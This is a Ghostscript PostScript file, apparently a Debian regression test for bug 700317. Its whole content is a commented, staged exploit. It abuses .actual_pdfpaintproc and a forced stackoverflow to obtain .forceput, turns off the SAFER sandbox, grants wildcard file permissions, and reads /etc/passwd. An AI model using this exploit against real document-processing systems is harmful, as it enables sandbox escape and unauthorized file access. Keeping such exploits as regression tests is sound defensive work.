Debian Codegraph @

debian/tests/issues/bug_700317/c0.ps

raw
1
2 % extract .actual_pdfpaintproc operator from pdfdict
3 /.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
4
5 /exploit {
6 (Stage 11: Exploitation...) ==
7
8 /forceput exch def
9
10 systemdict /SAFER false forceput
11 systemdict /userparams get /PermitFileControl [(*)] forceput
12 systemdict /userparams get /PermitFileWriting [(*)] forceput
13 systemdict /userparams get /PermitFileReading [(*)] forceput
14
15 % All done.
16 stop
17 } def
18
19 % setup an error handler to catch ifelse /stackoverflow
20 errordict /stackoverflow {
21 (Stage 10: /stackoverflow) ==
22 pop
23 % extract saved operand stack
24 0 get
25 % get the last parameter
26 dup dup length 1 sub get
27 (\tLast Parameter:) ==only dup ==
28 (\tExtracting .forceput...) ==
29 % This is the else operator to ifelse
30 5 get
31 % extract the .forceput
32 7 get
33 (\tResult:) ==only dup ==
34 exploit
35 } put
36
37 % The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
38 % executable errays onto the operand stack that contain .forceput, but are not
39 % marked as executeonly or pseudo-operators.
40 %
41 % The routine was attempting to pass them to ifelse, but we can cause that to
42 % fail because when the routine was declared, it used `bind` but many of the
43 % names it uses are not operators and so are just looked up in the dictstack.
44 %
45 % This means we can push a dict onto the dictstack and control how the routine
46 % works.
47 <<
48 /PDFfile { (Stage 0: PDFfile) == currentfile }
49 /q { (Stage 1: q) == } % no-op
50 /oget { (Stage 3: oget) == pop pop 0 } % clear stack
51 /pdfemptycount { (Stage 4: pdfemptycount) == } % no-op
52 /gput { (Stage 5: gput) == } % no-op
53 /resolvestream { (Stage 6: resolvestream) == } % no-op
54 /pdfopdict { (Stage 7: pdfopdict) == } % no-op
55 /.pdfruncontext { (Stage 8: .pdfruncontext) == 0 1 mark } % satisfy counttomark and index
56 /pdfdict { (Stage 9: pdfdict) ==
57 % fill the stack with junk to trigger a /stackoverflow
58 0 1 300051 {} for
59 % make sure .knownget doesnt screw up the stack
60 << /.Qqwarning_issued true >>
61 }
62 >> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
63
64 (\tShould now have complete control over ghostscript, attempting to read /etc/passwd...) ==
65
66 % Demonstrate reading a file we shouldnt have access to.
67 (/etc/passwd) (r) file dup 64 string readline pop == closefile
68
69 (All Done) ==
70 quit